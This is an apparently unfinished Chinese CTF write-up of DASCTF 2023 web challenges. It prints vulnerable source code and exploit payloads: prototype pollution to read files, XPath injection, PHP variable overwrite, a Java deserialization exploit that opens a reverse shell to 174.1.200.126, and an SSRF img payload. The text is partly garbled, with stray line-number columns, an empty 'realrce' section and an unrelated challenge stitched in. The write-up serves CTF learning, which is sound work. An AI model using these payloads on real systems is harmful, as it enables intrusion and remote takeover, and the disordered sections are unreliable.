(未完成)DASCTF 2023 & 0X401七月暑期挑战赛_web

做题记录

ez_flask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import uuid
from flask import Flask, request, session
from secret import black_list
import json

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def check(data):
for i in black_list:
if i in data:
return False
return True

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

class user():
def __init__(self):
self.username = ""
self.password = ""
pass

def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False

Users = []

@app.route('/register', methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"

@app.route('/login', methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
else:
return "Login Failed"

@app.route('/', methods=['GET'])
def index():
return open(__file__, "r").read()

if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)

python原型链污染/路由存在文件读取功能:

ez_flask_1

如果不存在黑名单的话直接污染__file__为目标文件就行:

1
2
3
4
5
6
7
8
9
{
"username":"a",
"password":"b",
"__init__":{
"__globals__":{
"__file__":"/proc/self/environ"
}
}
}

然后访问/即可,但这题过滤了__init__,有两种方法绕过:

ez_flaks_3

MyPicDisk

万能密码admin'or 1=1直接登录,存在/y0u_cant_find_1t.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
//index.php
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>MyPicDisk</title>
</head>
<body>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{$username}' and password='{$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
</body>
</html>

ezsign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
//index.php.bak
<?php
error_reporting(0);
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;

if($token){
extract($_GET);
$token = base64_decode($token);
$token = json_decode($token, true);


$username = $token['username'];
$password = $token['password'];
$isLocal = false;

if($_SERVER['REMOTE_ADDR'] == "127.0.0.1"){
$isLocal = true;
}

if($isLocal){
echo 'Welcome Back,' . $username . '!';
//如果 upload 目录下存在$username.png文件,则显示图片
if(file_exists('upload/' . $username . '/' . $token['filename'])){
// 显示图片,缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 写一个上传头像的功能
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// echo "留个言吧";
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>

<script>
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText)
}
</script>

首先存在extract()变量覆盖,然后要求$isLocal为真才能进上传界面。两种解法:

  • 利用变量覆盖先让$isLocal=true?_SERVER[REMOTE_ADDR]=127.0.0.1进上传文件界面,然后upload文件夹

  • 第二种方法就直接写个脚本用表单上传:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://challenge.qsnctf.com:30074/upload.php"

headers = {
"Cookie": "TOKEN=65794a3163325679626d46745a534936496a45694c434169644739725a5734694f694a6a4e474e684e44497a4f474577596a6b794d7a67794d47526a597a55774f5745325a6a63314f4451355969497349434a70633139685a473170626949364d48303d; token=eyJ1c2VybmFtZSI6Ii4uIiwicGFzc3dvcmQiOiIxIiwiZmlsZW5hbWUiOiJ0eHkucG5nIn0%3d"
}

data = {
"upload":1
}
file = {
"file":open('txy.png','rb')
}
r = requests.post(url,data=data,files=file,headers=headers)
print(r.text)

EasySpringMVC

首先Tools类下存在很明显的反序列化+命令执行:

spring_mvc_1

找哪里调用了这个parse,看ClentInfoFilter.class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
public class ClentInfoFilter implements Filter {
public ClentInfoFilter() {
}

public void init(FilterConfig fcg) {
}

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
Cookie[] cookies = ((HttpServletRequest)request).getCookies();
boolean exist = false;
Cookie cookie = null;
if (cookies != null) {
Cookie[] var7 = cookies;
int var8 = cookies.length;

for(int var9 = 0; var9 < var8; ++var9) {
Cookie c = var7[var9];
if (c.getName().equals("cinfo")) {
exist = true;
cookie = c;
break;
}
}
}

byte[] bytes;
if (exist) {
String b64 = cookie.getValue();
Base64.Decoder decoder = Base64.getDecoder();
bytes = decoder.decode(b64);
ClientInfo cinfo = null;
if (!b64.equals("") && bytes != null) {
try {
cinfo = (ClientInfo)Tools.parse(bytes);
} catch (Exception var14) {
var14.printStackTrace();
}
} else {
cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
Base64.Encoder encoder = Base64.getEncoder();

try {
bytes = Tools.create(cinfo);
} catch (Exception var15) {
var15.printStackTrace();
}

cookie.setValue(encoder.encodeToString(bytes));
}

((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} else {
Base64.Encoder encoder = Base64.getEncoder();

try {
ClientInfo cinfo = new ClientInfo("Anonymous", "normal", ((HttpServletRequest)request).getRequestedSessionId());
bytes = Tools.create(cinfo);
cookie = new Cookie("cinfo", encoder.encodeToString(bytes));
cookie.setMaxAge(86400);
((HttpServletResponse)response).addCookie(cookie);
((HttpServletRequest)request).getSession().setAttribute("cinfo", cinfo);
} catch (Exception var13) {
var13.printStackTrace();
}
}

chain.doFilter(request, response);
}

public void destroy() {
}
}

spring_mvc_2

所以这里构造一个恶意的cookie传进去就行,通过重写writeObject方法进行命令执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.tools;
import java.io.*;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Tools implements Serializable {
private static final long serialVersionUID = 1L;

public static Object parse(byte[] bytes) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
private String testCall;
public static byte[] create(Object obj) throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(bos);
outputStream.writeObject(obj);
return bos.toByteArray();
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
Object obj = in.readObject();
(new ProcessBuilder((String[])obj)).start();
}
private void writeObject(ObjectOutputStream out) throws IOException,ClassNotFoundException{
String command[]={"bash","-c","bash -i>& /dev/tcp/174.1.200.126/2333 0>&1"};
out.writeObject(command);
}

Main.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package com.tools;
import java.io.*;
import java.util.Base64;
import com.tools.*;
public class Main {
public static void main(String[] args) {
Base64.Encoder encoder = Base64.getEncoder();
try {
Tools cinfo = new Tools();
byte[] bytes = Tools.create(cinfo);
String payload = encoder.encodeToString(bytes);
System.out.println(payload);
} catch (Exception e) {
e.printStackTrace();
}

}
}

realrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
```





## secrets_of_admin

```js
//index.ts

const readFile = promisify(fs.readFile)

const getCheckSum = (filename: string): Promise<string> => {
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
}

const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
}


const router = express.Router();

router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. 😖 `}))

router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error 👻'});
}
let data = await DB.Login(username, password)
if(!data) {
return res.render('index', { error : 'You are not admin 😤'});
}
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank 😒'});
}
})

router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

// You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

export default router;
1
comment[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=111" />

Package Manager 2021


(未完成)DASCTF 2023 & 0X401七月暑期挑战赛_web
http://example.com/2024/03/01/DASCTF-2023-&-0X401七月暑期挑战赛_web/
作者
notbad3
发布于
2024年3月1日
许可协议